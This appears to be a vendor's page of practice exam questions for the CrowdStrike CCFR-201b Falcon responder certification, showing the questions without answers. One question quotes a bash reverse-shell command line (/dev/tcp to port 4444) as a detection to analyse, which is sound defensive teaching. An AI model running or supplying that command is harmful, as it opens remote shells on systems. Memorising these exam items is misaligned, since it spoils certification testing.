Free Practice Questions for the CrowdStrike CCFR CCFR-201b Exam (2026 Updated)
At Marks4sure, we are dedicated to providing IT professionals with the most accurate and reliable preparation materials for the CrowdStrike CCFR-201b exam. To support your certification journey, we have made a selection of our premium 2026 CCFR practice questions and answers available completely free. You can take this practice test as many times as you need. Every question includes a detailed, expertly verified explanation to ensure you fully grasp the core security concepts before test day.
A responder needs to find a specific sequence of network connections that did not trigger a detection. Which search tool allows them to search for anything within the raw telemetry?
When a responder chooses to ' Release ' a file from quarantine because it was determined to be a false positive, what type of allowlist is automatically created in the background?
Which of the following sentences best describes the primary use of ' Retrospective Analysis ' ?
A responder is explaining the quarantine process to a system administrator. What happens technically when a file is quarantined by the Falcon sensor?
An executive asks for a definition of ' CrowdScore ' . Which of the following sentences best describes what CrowdScore is?
While reviewing the ' Detection Method ' field for a high-severity alert, a responder sees the label ' Post-Exploit ' . This terminology is used by CrowdStrike to identify a specific:
Refer to the image.
You receive the detection displayed in the image above on a host in your environment.
Assuming you have the correct permissions, where would you navigate to remotely connect to the host and investigate further?
Responders must understand the limitations and capabilities of custom rules. Which of the following statements about custom IOAs is FALSE?
Which of the following statements about the ' Hash Search ' (Single Search) is TRUE?
Administrators can define their own criteria for alerts. Which of the following is an example of a custom detection within the Falcon platform?
A responder is focused on a specific malicious script and wants to see everything that the script ' s process did. Which timeline is the best tool for this task?
While the host timeline is comprehensive, some data is not included in that specific view. Which of the following CANNOT be seen directly from the host timeline?
The Bulk Domain Search tool contains Domain information along with which of the following?
An adversary is attempting to disable security features by modifying the system registry. Which of the following native Windows processes is specifically designed to create, modify, and delete Registry keys via the command line?
A SOC Manager is reviewing the monthly efficiency of the incident response team. They are specifically analyzing how many alerts were handled by each individual analyst and the ratio of legitimate threats to noise to optimize staffing levels. While navigating the Detection Resolutions Dashboard, which of the following metrics would they NOT find, as it is primarily located within the Activity or Executive summary dashboards?
Refer to the image.
Command line:
/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1
File path:
/bin/bash
You receive a detection on the Bash process indicating the command line in the image above.
Based on the command line, what is the next step you should take?
Multiple detections with the process schtasks.exe begin to alert in the UI. The process executes the following command line on several unique hosts:
schtasks.exe /Query /TN " Qljsscdqr "
What is the most efficient way to identify which hosts are executing this scheduled task?
When viewing the summary list on the ' Endpoint Detections ' page, an analyst sees a column for the timestamp. What does the timestamp in this specific summary view represent?
An analyst needs to quickly view the activity surrounding a suspicious process. Which of the following sequences of steps will pivot to an auto-filled process timeline in the Falcon UI?
In the ' Graph View ' of a detection, processes are connected by arrows. Which of the following does a yellow arrow connecting two processes indicate?
Your lead analyst instructs you to dump the kernel memory of a Windows system using Real Time Response (RTR).
Which native RTR command best helps you to quickly achieve the task?
The ' Detection Resolutions ' dashboard helps track team performance. Which of the following CANNOT be seen from this dashboard?
During a targeted investigation into a potentially compromised internal administrative account, a responder utilizes the User Search functionality within the Investigate menu. The goal is to identify if the account was leveraged to drop or launch unauthorized binaries across multiple systems in the environment. Which specific data category is natively visible in the User Search results to facilitate this check?
You are pre-staging a Custom IOC for later use and want to save a file hash for later use after approval.
Which action should you use?
You are reviewing the raw data in an event search from a detection tree. You find a FileOpenlnfo event and want to find out if any other files were opened by the responsible process. Which two field values do you need from this event to perform a Process Timeline search?
Which of the following statements about the ' Detection Activity ' report is FALSE?
A responder is analyzing a file ' s prevalence. If the data shows ' Local: High ' and ' Global: Unique ' , which of the following is the most likely conclusion?
Refer to the image.
You are using Advanced Event Search to find the event record for a suspicious network connection.
Using the Event List Interactions button for the event, indicated by the arrow in the image above, which option will show all contextual event data around the process execution being investigated?
When using ' User Search ' to investigate a potentially compromised account, which of the following is NOT a filter available in the User Search?
You are notified by a third-party that a program may have redirected traffic to a malicious domain. Which Falcon page will assist you in searching for any domain request information related to this notice?
How long does detection data remain in the CrowdStrike Cloud before purging begins?
What actions are available for domain name-based Indicators of Compromise (IOCs) in Falcon?
While quarantined files stay on the local host for 30 days by default, how many days does a quarantined file remain stored in the CrowdStrike Cloud?
Refer to the image.
Within a Host Search, you have filtered for cmd.exe in the Process executions table and now need to pivot to a process timeline.
Which item in the table do you select to pivot to the Process Timeline?
CrowdScore is a metric used to identify the severity of an ongoing incident. What percentage of increase in a CrowdScore is considered a strong indication of a coordinated attack?
During an advanced hunting session, a responder is writing a custom query in the Event Search tool to track the lineage of a suspicious process. They notice a field labeled TargetProcessId_decimal. Which of the following sentences accurately describes the technical significance of this value within the CrowdStrike telemetry ecosystem?
When navigating the ' Custom IOA ' creation wizard, a user must select a rule type. Which of the following is NOT a valid IOA rule type available for selection?
A responder is unsure about the difference between ' Detection ' and ' Prevention ' settings. Where can they find information about Detection and Prevention Policies?
When managing files within the ' Quarantined Files ' dashboard, which of the following is NOT a valid action available to the responder?
In the ' Investigate > Hunt > Linux Sensors ' dashboard, responders can view various Linux-specific activities. Which of the following sub-titling is NOT displayed in this dashboard?
Refer to the image.
In the Full Detection View while viewing the Process Tree you see an attack outlined as in the image above.
Based on what you see, what happened during the attack?
In the ' User Search - File Written ' section, a responder can see various files dropped by a user. Which of the following file types CANNOT be seen from this view?
To speed up investigations, Falcon uses ' event workflows ' . Which of the following sentences best describes what event workflows are?
The Falcon console is divided into several modules. Timelines (Host and Process) are technically a part of which Falcon page?
Within the MITRE-Based Falcon Detections Framework, what is the correct way to interpret Keep Access > Persistence > Create Account?
When navigating the main ' Detections ' page, several filters are available in the dropdown menu. Which of the following is NOT a filter available in this menu?
In the Hash Search tool, which of the following is listed under Process Executions?
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